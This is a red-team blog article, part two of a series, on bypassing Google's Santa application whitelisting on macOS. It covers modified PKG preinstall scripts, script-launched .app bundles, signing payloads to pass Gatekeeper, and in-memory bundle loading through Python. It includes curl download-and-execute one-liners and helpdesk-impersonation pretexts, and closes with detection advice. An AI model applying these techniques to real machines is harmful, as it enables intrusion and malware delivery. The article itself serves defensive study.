In part one, we described how to develop social engineering payloads for macOS which can be used to bypass Santa's application whitelisting. This article will examine an example flat PKG installer and demonstrate how to technically abuse Google's Santa application whitelisting. Then we will offer recommendations for ways to mitigate and instrument detection around these vectors.

Examining a Flat PKG Installer

Let us examine an example flat PKG installer to understand more about how this mechanism actually works. We can start by downloading a copy of an example installer. After doing this you will want to place the example installer into a new empty directory and run the following command to extract the installer archive. If you are not using macOS you will need to obtain the xar utility.

xar -xf example.pkg

The current directory will now be populated with the contents of the archive. Now let's examine the contents of the Distribution file. Contents given below:

-- CODE lang-xml --<?xml version="1.0" encoding="utf-8"?>

<installer-gui-script minSpecVersion="1">

<title>Example Installer</title>

<options hostArchitectures="i386"/>

<options customize="never" rootVolumeOnly="true"/>

<options allow-external-scripts="true"/>

<allowed-os-versions>

<os-version min="10.7"/>

</allowed-os-versions>

<pkg-ref id="sample.example.pkg">

<must-close>

<app id="sample.example.pkg"/>

</must-close>

<bundle-version/>

</pkg-ref>

<domains enable_currentUserHome="true"/>

<installation-check script="install_check()"/>

<script>



function install_check()

{

tRet = system.run("preinstall");

}

</script>

</installer-gui-script>

As you can see the installation-check tag specifies an installation check should be performed and that the function install_check is the InstallerJS function that will be executed to perform the checks. In this instance you can see that the InstallerJS code uses system.run("preinstall"); to execute a shell script. This script is located in the Scripts archive which was extracted from the example installer previously. This file is a CPIO archive that is compressed with GZIP. We can extract the archive with the following command:

-- CODE lang-xml --➜ cpio -iv < Scripts

preinstall

1 block

If you are following along it is best to do this in a temporary directory separate from the installer archive you just extracted. As you can see a number of scripts and other files were extracted including the preinstall script. Let's modify the preinstall script to display a message box when it is executed:

-- CODE lang-xml --#!/bin/sh



osascript -e 'display notification "Hello from the red team :)" with title "POC"'

Next we want to repackage the scripts archive using:

(find * | cpio -o --format odc --owner 0:80 | gzip -c ) > Scripts

After replacing the Scripts archive we can repackage the installer using the following command:

xar --compression none -cf "POC.pkg" *

After creating the malicious package you simply need to double click on the file. Installer.app will then prompt you if you want to allow the installer to perform an installation check.

Example video given below:

One important thing to note about the sample video is that in the sample video the installer package is signed to get around Gatekeeper. Gatekeeper is covered in more detail in the section titled "Gatekeeper: An Additional Hurdle".

The unsigned-version of the file used in the video can be obtained from the link below:

Abusing APP Files to Bypass Santa

Another file type that can be used to bypass application whitelisting are "app" files. These are not actually files, but directories that are presented to users as files (e.g. Spotify, Slack, etc.). These directories have a predefined format and include a file called Info.plist which specifies things such as the icon used for the application and what should be launched to run the application. On macOS right clicking on an app file and selecting "Show Package Contents" will display the contents of the directory associated with the app.

The Santa application whitelisting solution does not operate at the app level, but at the execve level. Since the entrypoint of an app file can be a script we can get around this control by simply having the app file when it is launched execute a shell script instead of a binary. The application whitelisting solution will only see an attempt to launch /bin/sh and allow it as it is an Apple signed binary, making it a whitelisted application.

It is then possible to use the technique described previously to load a Python script which loads a MH_BUNDLE bundle into memory. This is described in more detail in the section titled "Executing Arbitrary Code". An app file has the following directory structure:

-- CODE lang-xml --Example.app

- Contents

- macOS

<binaries/scripts>

- Resources

<additional resources>

- Info.plist

The Info.plist file describes the application type including how it should be launched, the icon, and the package/application type.

-- CODE lang-xml --<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

<key>CFBundleExecutable</key>

<string>{{ random_script_name }}</string>

<key>CFBundleIconFile</key>

<string>icon.icns</string>

<key>CFBundleIdentifier</key>

<string>com.apple.dev</string>

<key>CFBundlePackageType</key>

<string>APPL</string>

</dict>

</plist>

The important thing to note is the CFBundleExecutable attribute which specifies the script to run in the macOS folder in the app package. In order for this to run properly the script must be marked as executable.

The other important thing is that the CFBundlePackageType must be set to APPL to get around Gatekeeper. The reason is that the check Gatekeeper performs checks the type of the application even though the application does not need this attribute set in order to function. It is possible to emulate the check performed by Gatekeeper using the spctl command. An example of this is given below where the codesign utility says the check passed, but the spctl command used that emulates the check performed by Gatekeeper fails due to the CFBundlePackageType not being set.

-- GIST https://gist.github.com/myover/0c71b70dc58d0423c8b59cdb193361e8.js --

An example app file which invokes a script can be obtained from the link below:

An example video of this payload in action can be obtained from the link below. One important thing to note is that in this example video the file is downloaded from the Internet and signed by a third-party developer certificate to get around Gatekeeper.

Gatekeeper: An Additional Hurdle

This is great, however, there is an additional hurdle which will need to be overcome in order to utilize these payloads in "production" during a red team engagement. This issue is Gatekeeper. This is an application that is built into macOS and enforces additional controls on unsigned applications and installers downloaded from the internet. If a user tries to execute an unsigned application from the Internet they will receive a prompt saying the application was blocked from executing.

From this they will then need to go into System Preferences and click "Open Anyway". This makes it much more difficult for the user to run the payload. Fortunately, this can be fixed by purchasing a code signing certificate from Apple. There are a number of examples of malicious software utilizing legitimate code signing certificates.

Assuming you have a code signing certificate. The malicious installer can be signed using the following command:

productsign --sign "Developer ID Installer: <your developer ID>" input.pkg output.pkg

The following codesign command can be use to sign an application file:

codesign -s "Developer ID Application: <your developer ID> --deep resume.app

Executing Arbitrary Code

A basic principle of the attack chain is the notion of leveraging a more limited execution capability into a more general execution capability. For example, in exploit development, an attacker who can execute arbitrary machine-dependent shellcode can use a variety of techniques to leverage this into execution of arbitrary executable files. In our example, an attacker who can execute arbitrary shell scripts has various options for leveraging this into execution of arbitrary executables.

Of course, the most natural option is to use a program such as cURL to download the executable from C2 infrastructure and then execute it using the regular system loader:

-- CODE lang-xml --#!/bin/bash

curl -o malware.bin http://www.example.com/malware.bin

chmod +x malware.bin && ./malware.bin

This method is clearly inadequate given the presence of application whitelisting, which will prevent the final ./malware.bin command from executing. Furthermore, any halfway-decent endpoint security software will detect the writing of an unencoded executable file to disk, and can use various techniques to flag it as "suspicious".

The technique that we use here is an improvement on both points. We sidestep Santa's application whitelisting enforcement by packaging our next-stage malware in a shared library and calling an exported function in that library. Santa only prevents the execution of untrusted code via execve() and related functions, and does not attempt to prevent untrusted code from loading via the dynamic linker. Methods such as these are fairly common on Windows, where red teams are fairly accustomed to coping with application whitelisting solutions. However, there are not as many readily available methods for red teams operating on macOS.

The reader should note that this is not a bug or implementation error in Santa. It is simply the case that Santa is not intended for whitelisting shared libraries. To quote the Santa documentation, "No single system or process will stop all attacks, or provide 100% security" (emphasis in original).

Cylance describes a method for using functions exported from libdylib to load MH_BUNDLE objects from memory. (An MH_BUNDLE is similar to a dynamic library.) These functions are typically invoked from a native executable. This poses a chicken-and-egg problem for the attacker: they can use libdylib for memory-based loading of native binaries, but apparently they must first have the ability to run native binaries.

However, this is not the case. Since we can run arbitrary shell commands, we can certainly invoke the Python command interpreter. MacOS includes a somewhat out-of-date Python command interpreter that will nonetheless be sufficient for our purposes. Furthermore, the Python command interpreter should be whitelisted by most (or maybe all) deployments of Santa, since:

It is common for application whitelisting solutions to whitelist all binaries included in the base OS installation.

The Python command interpreter provided by the system is signed by Apple.

Python is a common dependency for legitimate applications, and failure to whitelist could be very disruptive.

The key point to remember is that the Python ctypes module allows one to call exported functions in unmanaged code. At this point, the basic procedure is:

Run the system's built-in Python command interpreter (i.e., /usr/bin/python). Use the ctypes module to load libdylib in the /usr/bin/python process. Import the NSCreateObjectFileImageFromMemory function as described here. Use any number of methods provided by Python to obtain a copy of the MH_BUNDLE that you'd like to load (the Python requests module provides a method that is reminiscent of the cURL example shown previously). Use the ctypes module along with the import NSCreateObjectFileImageFromMemory function to call an exported function in your MH_BUNDLE, resulting in execution of attacker-chosen native code.

Mitigation and Defense

As red teamers, while the work we do falls under the realm of "offensive security", we are fundamentally network defenders (i.e. the purpose behind what we do is to improve security). Because of this it is important to have an understanding of both ways to mitigate and instrument detection around these vectors in order to better provide value to customers.

The important thing to remember is that while application whitelisting is not a panacea it is still an effective control that we recommend deploying when it is feasible to do so.

One of the benefits of application whitelisting is that it can be used to force attackers into a finite number of TTPs that can be used to bypass application whitelisting. This has the effect of funneling the attacker into a set of known TTPs that are documented in projects such as LOLBAS or the MITRE ATT&CK framework.

These TTPs can either then be blocked through additional controls or detection can be instrumented around these TTPs to detect when they are used. This can take some work since there are legitimate use-cases where these applications are used so in these cases it is recommended to develop a baseline for legitimate or expected usage and then look for deviations.

The important thing to remember is that multiple layers of preventative and detective controls should be in place. When one layer of controls is bypassed there should be additional layers of controls to augment any single capability.

Additional restrictions could be put in place, such as restricting trust of random third party developer certificates in Gatekeeper. For detection, custom alerts can be written in solutions such as Carbon Black to detect suspicious process trees, one-liners being executed, etc. or detection could be implemented for anomalous third party certificates.

What are some other ways that we deal with application whitelisting on engagements?

There are a variety of other techniques that we utilize to bypass application whitelisting such as:

Running scripts using download and execute one-liners such as "curl https:///malware.sh | sh". This is often possible through phone-based social engineering attacks where we impersonate the IT Helpdesk. With the right pretext and target selection this technique is very effective, but also, higher risk. Getting caught will put the target on high alert.

Malicious browser plugins: If you are accessing almost all of your sensitive sites/data and services through the browser, such as in the case of a Zero Trust or Google BeyondCorp style architecture, then execution of code within the browser can be just as deadly as RCE allowing access to sensitive data while bypassing device authentication and multi-factor authentication mechanisms.

Malicious OAuth Applications: If users access sensitive data primarily through third party sites such as Box or Office365 then OAuth phishing techniques can be utilized to gain access to files stored within these applications without RCE.

Because of this we recommend that in addition to whitelisting of binaries that controls are implemented to restrict or detect installation of browser plugins and OAuth applications that can be used to allow access to sensitive data or resources.

On red teams we take a very data-centric or objective-focused approach so if we do not need to bypass a specific control, escalate privileges, or utilize a specific TTP we will not perform these actions as it simply increases the risk profile for the operation without taking us further towards the objective. This is the opposite of an internal penetration test or other type of white box assessments where we will attempt to identify as many possible escalation paths or access vectors into the target environment as possible without regard to stealth, etc. Additionally, during red teams things that would be done in a few hours during a pentest from a single system might be spread out over many hours using multiple compromised systems and meticulously planned in advance to weigh the risks of various attack paths based off the controls in the environment. This provides much less coverage of the attack surface/vulnerabilities in the environment, but provides much better coverage of the detection and response capabilities of the client organization.

Conclusion

This article has shown that even in environments where application whitelisting is in place many of the standard phishing payloads for macOS are still viable when some small adjustments are made to the delivery mechanisms used. While we have focused on the Santa application whitelisting solution it is likely that these same techniques will work against other solutions and products as well.

When deploying any security solution it is important to be aware of the strengths and weaknesses of the tool being used. With this knowledge IT Administrators and Blue Teamers can make better decisions on where to allocate limited resources and where additional controls should be put in place to counteract weaknesses in a given solution.